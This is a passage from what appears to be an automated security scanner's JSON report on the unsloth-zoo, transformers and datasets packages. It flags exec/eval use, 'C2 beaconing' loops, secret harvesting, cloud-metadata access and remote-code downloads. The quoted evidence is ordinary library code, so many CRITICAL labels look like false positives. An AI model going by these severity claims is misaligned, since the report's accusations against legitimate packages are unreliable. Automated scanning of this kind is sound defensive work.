{chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6438: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6439: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6437: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6438: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6439: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6436: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6437: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6438: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1718: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1895: _modeling_file = eval(model_location) | L2623: f = eval(f\"{model_location}.{module}\") | L2964: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L2965: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4470: exec(f\"import {parent}\", locals(), globals()) | L4576: dir(eval(parent)), | L4582: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4662: module = eval(f\"modeling_file.{module}\") | L4689: inner_class = eval(f\"modeling_file.{inner_class}\") | L4835: exec(f\"from timm.layers.norm_act import {norm}\") | L4843: forward = eval(norm).forward | L4849: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4866: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4874: forward = eval(block).forward | L4880: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5124: exec(\nL5125: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5126: globals(),\nL5127: locals(),\nL5128: ) | L5130: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5134: exec(\nL5135: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5136: globals(),\nL5137: locals(),\nL5138: ) | L5140: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5217: source = eval(f\"{model_location}.torch\") | L5224: function = eval(f\"source.nn.{module}\") | L5418: exec(\"import transformers\", globals()) | L5432: exec(\nL5433: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5434: ) | L5436: exec(\nL5437: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5438: globals(),\nL5439: locals(),\nL5440: ) | L5674: source = eval(f\"modeling_file.{module}\") | L5688: source = eval(f\"modeling_file.{module}\") | L5799: source = eval(f\"modeling_file.{module}\") | L5837: source = eval(f\"{model_location}.{module}\") | L5917: source = eval(f\"{model_location}.{module}\") | L5965: source = eval(f\"{model_location}.{module}\") | L6198: source = eval(f\"{model_location}.{module}\") | L6209: exec(\nL6210: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6211: globals(),\nL6212: ) | L6276: source = eval(f\"{model_location}.{module}\") | L6317: module_cls = eval(f\"{model_location}.{module}\") | L6354: module_cls = eval(f\"{model_location}.{module}\") | L6421: exec(\nL6422: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6423: globals(),\nL6424: ) | L6486: exec(inner_training_loop, globals()) | L6495: function = eval(f\"{model_location}.{module}\") | L6582: function = eval(f\"{model_location}.{module}\") | L6746: exec(\nL6747: f\"{model_location}.{module} = combined_module.{module}\",\nL6748: globals(),\nL6749: locals(),\nL6750: ) | L6760: check_dicts = dir(eval(f\"{model_location}\")) | L6762: item = eval(f\"{model_location}.{check}\") | L6772: exec(\nL6773: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6774: globals(),\nL6775: locals(),\nL6776: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "23dcdb50da80923669e3f2198c1432dfef4dd3b01440271c7dc7925a62a9c41c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L3853: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1294: cross_attn_layer = eval(f'vllm_internals.{name}') | L1329: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1630: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1635: exec(f\"new_model.{layer_name_br} = layer\") | L1705: exec(f\"new_model.{layer_name_br}.weight = None\") | L1706: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1708: exec(f\"new_model.{layer_name_br}.bias = None\") | L1709: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1715: exec(f\"new_model.{layer_name} = layer\") | L1731: new_model.eval() | L3672: exec(f\"module.to({dtype})\") | L3695: exec(f\"module.to({dtype})\") | L4608: model.eval() | L4648: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "28c81f25d4b17cf62ec419f4b2573f94de182b81d6902373ad78ab5faa6547ee" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4980: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L159: mx.eval(model.parameters()) | L193: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1255: mx.eval(model.parameters()) | L1256: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1323: mx.eval(model.parameters()) | L1326: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2742: mx.eval(altup.correct(predictions, activated)) | L3286: mx.eval(baseline, perturbed) | L4627: model.eval() | L5385: mx.eval(model.parameters()) | L5501: mx.eval(module.weight) | L8082: mx.eval(model.parameters()) | L8099: mx.eval(target.parameters()) | L9074: lambda: mx.eval(model.parameters()), | L9138: lambda: mx.eval(model.parameters()), | L9295: mx.eval(model.parameters())", "evidence_hash": "33ed0a28c99198e85c768e9d9e799e0762c433cfdab71992fa1e047c67b23046", "file_sha256": "8082b77d864693fb5c210ead4a966b35240d888fbb3f3ecec09bc4a402739092" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/granitemoehybrid.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L73: exec(compile(source, f\"\", \"exec\"), namespace)\nExec: L73: exec(compile(source, f\"\", \"exec\"), namespace)", "evidence_hash": "5daea207e575087c8cefc30b8d2d947a88640b3be52de1de592d365ab74e978f", "file_sha256": "d53b1826588c19a5146dcc66046b8787c7d882259bdc8617de8d3fbce6b37c9e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/granitemoehybrid.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L74: exec(compile(source, f\"\", \"exec\"), namespace) | L135: exec(compile(source, filename, \"exec\"), module.__dict__, namespace)\nExec: L74: exec(compile(source, f\"\", \"exec\"), namespace) | L135: exec(compile(source, filename, \"exec\"), module.__dict__, namespace)", "evidence_hash": "14e63c9f066212fa809b9d3bbc3e5799ecf681d6f4c488da3acce2518a6f9157", "file_sha256": "6f06333209776aba4cb9a100c5088322615306b375961047867e8ce6b50cd5ec" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L332: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L332: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "1d8b60e48ec8f0faf6156f6eac7368e99c2b6d34690957ef7c5e8e505cacc7db" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L443: while True: sha256:483d0708b413e70fec1791cb689364b426ea949b795d717d1ba437d08c0b9d21", "evidence_hash": "fdde4e280accf7805c189b49c656234f6495462314df0b1cb0d8dba3444e84a1" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L437: while True: sha256:5f117c2a4fa2395bc22ae29d203ca6266526b07635a6f2a5946a82bee3b98e81", "evidence_hash": "2bbd5fcd14147ab648a7b6301fe7de70a5d0459940d7215d0d3588f38dfafd42" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1940: while True: sha256:31916bdee49882534b4778987ee509b06745db929a9d567779862a048601ddb8", "evidence_hash": "93e6c8cd4f1e42a3c0aa54b2076dd0bde806f67dfe53ae06cb460ea5a82ca10c" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1957: while True: sha256:8c2ede2e38112601faebe1850729677a9bad47fff85c4efb86c1b6eb4208514d", "evidence_hash": "9c591563f1309a849f3e654aced3574a719c4c5c4cee6138bbc55ff6ae111a7e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L985: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5418: env = dict(env) if env is not None else dict(os.environ) | L5505: env = dict(os.environ)\nNetwork: L993: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4116: response = requests.get(\nL4117: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4118: ) | L7554: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "1fcc1d554c3887a4e1373c1b1daa5f5c71b5193b6bd90445579539fa5a734f2e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/triton_kernels_compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L45: matmul_ogs = importlib.import_module(module.__name__ + \".matmul_ogs\") | L46: tensor = importlib.import_module(module.__name__ + \".tensor\") | L54: importlib.import_module(module.__name__ + \".swiglu\") | L55: importlib.import_module(module.__name__ + \".routing\") | L56: importlib.import_module(module.__name__ + \".tensor_details.layout\") | L134: mo = importlib.import_module(tk.__name__ + \".matmul_ogs\") | L135: tensor = importlib.import_module(tk.__name__ + \".tensor\") | L136: layout = importlib.import_module(tk.__name__ + \".tensor_details.layout\") | L151: mo = importlib.import_module(tk.__name__ + \".matmul_ogs\") | L158: routing = importlib.import_module(tk.__name__ + \".routing\")", "evidence_hash": "4cfe9a930a03795a0da0693c38733ec6c7f998cdb4e850f2b5a5e8bb469b70af", "file_sha256": "e442620ac16bd57045df944e7d815db25e4a012ca62784aa46d7587c81f8c2c1" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/triton_kernels_compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L147: topk = importlib.import_module(self.name + \".topk\").topk | L157: ragged = importlib.import_module(self.name + \".tensor_details.ragged_tensor\")", "evidence_hash": "9cf0ce1cb8ab319d7fa6e14425736fd8a7734da12536a758a38d4554a31b7721", "file_sha256": "bbe6078489f9f63a08210c024b03edd4c739c25c059712ef4e72007e1b13b887" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/triton_kernels_compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L147: topk = importlib.import_module(self.name + \".topk\").topk | L157: ragged = importlib.import_module(self.name + \".tensor_details.ragged_tensor\")", "evidence_hash": "9cf0ce1cb8ab319d7fa6e14425736fd8a7734da12536a758a38d4554a31b7721", "file_sha256": "50e72155700d1c463d41d70665df84b971571018d4cb7b8ffc4558c580d7d55d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L152: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "982a54465290752baf4367987d1c3bfb698e6490b975ffe37124a9eabbeefa75" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L145: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "982a54465290752baf4367987d1c3bfb698e6490b975ffe37124a9eabbeefa75" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/gpt_oss.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L2400: return importlib.import_module(root + \".matmul_ogs\").matmul_ogs", "evidence_hash": "58aa76d0aa49c056cec5778ad7ae5940e26a36890d42ff2a2e4ebcee4f591937", "file_sha256": "c2f8383ea31fd8a88bba780e2ea6523d6a9ad3a463da4e7ef24edec3341b1101" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1811: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2062: _mod = __import__(model_location, fromlist=items) | L6547: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6548: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6549: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6550: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6548: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6549: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6550: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6547: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6548: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6549: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1811: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1988: _modeling_file = eval(model_location) | L2718: f = eval(f\"{model_location}.{module}\") | L3059: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3060: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4568: exec(f\"import {parent}\", locals(), globals()) | L4674: dir(eval(parent)), | L4680: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4760: module = eval(f\"modeling_file.{module}\") | L4787: inner_class = eval(f\"modeling_file.{inner_class}\") | L4933: exec(f\"from timm.layers.norm_act import {norm}\") | L4941: forward = eval(norm).forward | L4947: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4964: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4972: forward = eval(block).forward | L4978: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5223: exec(\nL5224: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5225: globals(),\nL5226: locals(),\nL5227: ) | L5229: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5233: exec(\nL5234: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5235: globals(),\nL5236: locals(),\nL5237: ) | L5239: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5316: source = eval(f\"{model_location}.torch\") | L5323: function = eval(f\"source.nn.{module}\") | L5517: exec(\"import transformers\", globals()) | L5533: exec(\nL5534: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5535: ) | L5537: exec(\nL5538: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5539: globals(),\nL5540: locals(),\nL5541: ) | L5775: source = eval(f\"modeling_file.{module}\") | L5789: source = eval(f\"modeling_file.{module}\") | L5900: source = eval(f\"modeling_file.{module}\") | L5938: source = eval(f\"{model_location}.{module}\") | L6018: source = eval(f\"{model_location}.{module}\") | L6066: source = eval(f\"{model_location}.{module}\") | L6299: source = eval(f\"{model_location}.{module}\") | L6310: exec(\nL6311: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6312: globals(),\nL6313: ) | L6377: source = eval(f\"{model_location}.{module}\") | L6418: module_cls = eval(f\"{model_location}.{module}\") | L6455: module_cls = eval(f\"{model_location}.{module}\") | L6532: exec(\nL6533: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6534: globals(),\nL6535: ) | L6597: exec(inner_training_loop, globals()) | L6606: function = eval(f\"{model_location}.{module}\") | L6693: function = eval(f\"{model_location}.{module}\") | L6862: exec(\nL6863: f\"{model_location}.{module} = combined_module.{module}\",\nL6864: globals(),\nL6865: locals(),\nL6866: ) | L6876: check_dicts = dir(eval(f\"{model_location}\")) | L6878: item = eval(f\"{model_location}.{check}\") | L6889: exec(\nL6890: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6891: globals(),\nL6892: locals(),\nL6893: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "e4c01ea7624a3b8ffc2b05a7ed1b763111628d6868a955c0538045b503379f87" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L3921: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1300: cross_attn_layer = eval(f'vllm_internals.{name}') | L1340: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1690: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1696: exec(f\"new_model.{layer_name_br} = layer\") | L1766: exec(f\"new_model.{layer_name_br}.weight = None\") | L1767: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1769: exec(f\"new_model.{layer_name_br}.bias = None\") | L1770: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1776: exec(f\"new_model.{layer_name} = layer\") | L1795: new_model.eval() | L3740: exec(f\"module.to({dtype})\") | L3763: exec(f\"module.to({dtype})\") | L4676: model.eval() | L4716: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "ae054c2faaa3d1ff7e6840f1eb98a2fa6fc4cba63cdb01129e37729ef6f42fc5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5092: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L160: mx.eval(model.parameters()) | L194: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1335: mx.eval(model.parameters()) | L1336: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1403: mx.eval(model.parameters()) | L1406: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2835: mx.eval(altup.correct(predictions, activated)) | L3379: mx.eval(baseline, perturbed) | L4740: model.eval() | L5497: mx.eval(model.parameters()) | L5613: mx.eval(module.weight) | L8193: mx.eval(model.parameters()) | L8210: mx.eval(target.parameters()) | L9199: lambda: mx.eval(model.parameters()), | L9263: lambda: mx.eval(model.parameters()), | L9420: mx.eval(model.parameters())", "evidence_hash": "33ed0a28c99198e85c768e9d9e799e0762c433cfdab71992fa1e047c67b23046", "file_sha256": "844e107b8c2278b39f662f43375319d90846554869beaad47844a3890356e6cb" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L337: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L337: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "7e002df98366c2def647ce59234e271b59f092d2826b4b25a2642177bedc4b59" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1037: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5499: env = dict(env) if env is not None else dict(os.environ) | L5586: env = dict(os.environ)\nNetwork: L1045: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4197: response = requests.get(\nL4198: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4199: ) | L7663: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "4ced11216f5256c4ef546275a09c587d014c63a6ad811b7753ca315e5202fb78" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L152: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "efb922a0b258de79cfdc24c0860983964064fbd6ec3e711dd1a3a5a79f13afcf" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L145: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "efb922a0b258de79cfdc24c0860983964064fbd6ec3e711dd1a3a5a79f13afcf" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/gpt_oss.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L2518: return importlib.import_module(root + \".matmul_ogs\").matmul_ogs", "evidence_hash": "58aa76d0aa49c056cec5778ad7ae5940e26a36890d42ff2a2e4ebcee4f591937", "file_sha256": "8e1468d43e6482f430e84144a7d1008b82d6df8c9b1919859994f2d29d5e21f0" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1846: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2099: _mod = __import__(model_location, fromlist=items) | L6808: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6809: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6810: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6811: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6809: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6810: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6811: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6808: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6809: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6810: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1846: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2023: _modeling_file = eval(model_location) | L2755: f = eval(f\"{model_location}.{module}\") | L3103: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3104: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4780: exec(f\"import {parent}\", locals(), globals()) | L4886: dir(eval(parent)), | L4892: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4972: module = eval(f\"modeling_file.{module}\") | L4999: inner_class = eval(f\"modeling_file.{inner_class}\") | L5193: exec(f\"from timm.layers.norm_act import {norm}\") | L5201: forward = eval(norm).forward | L5207: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5224: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5232: forward = eval(block).forward | L5238: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5482: exec(\nL5483: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5484: globals(),\nL5485: locals(),\nL5486: ) | L5488: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5492: exec(\nL5493: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5494: globals(),\nL5495: locals(),\nL5496: ) | L5498: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5575: source = eval(f\"{model_location}.torch\") | L5582: function = eval(f\"source.nn.{module}\") | L5776: exec(\"import transformers\", globals()) | L5793: exec(\nL5794: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5795: ) | L5797: exec(\nL5798: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5799: 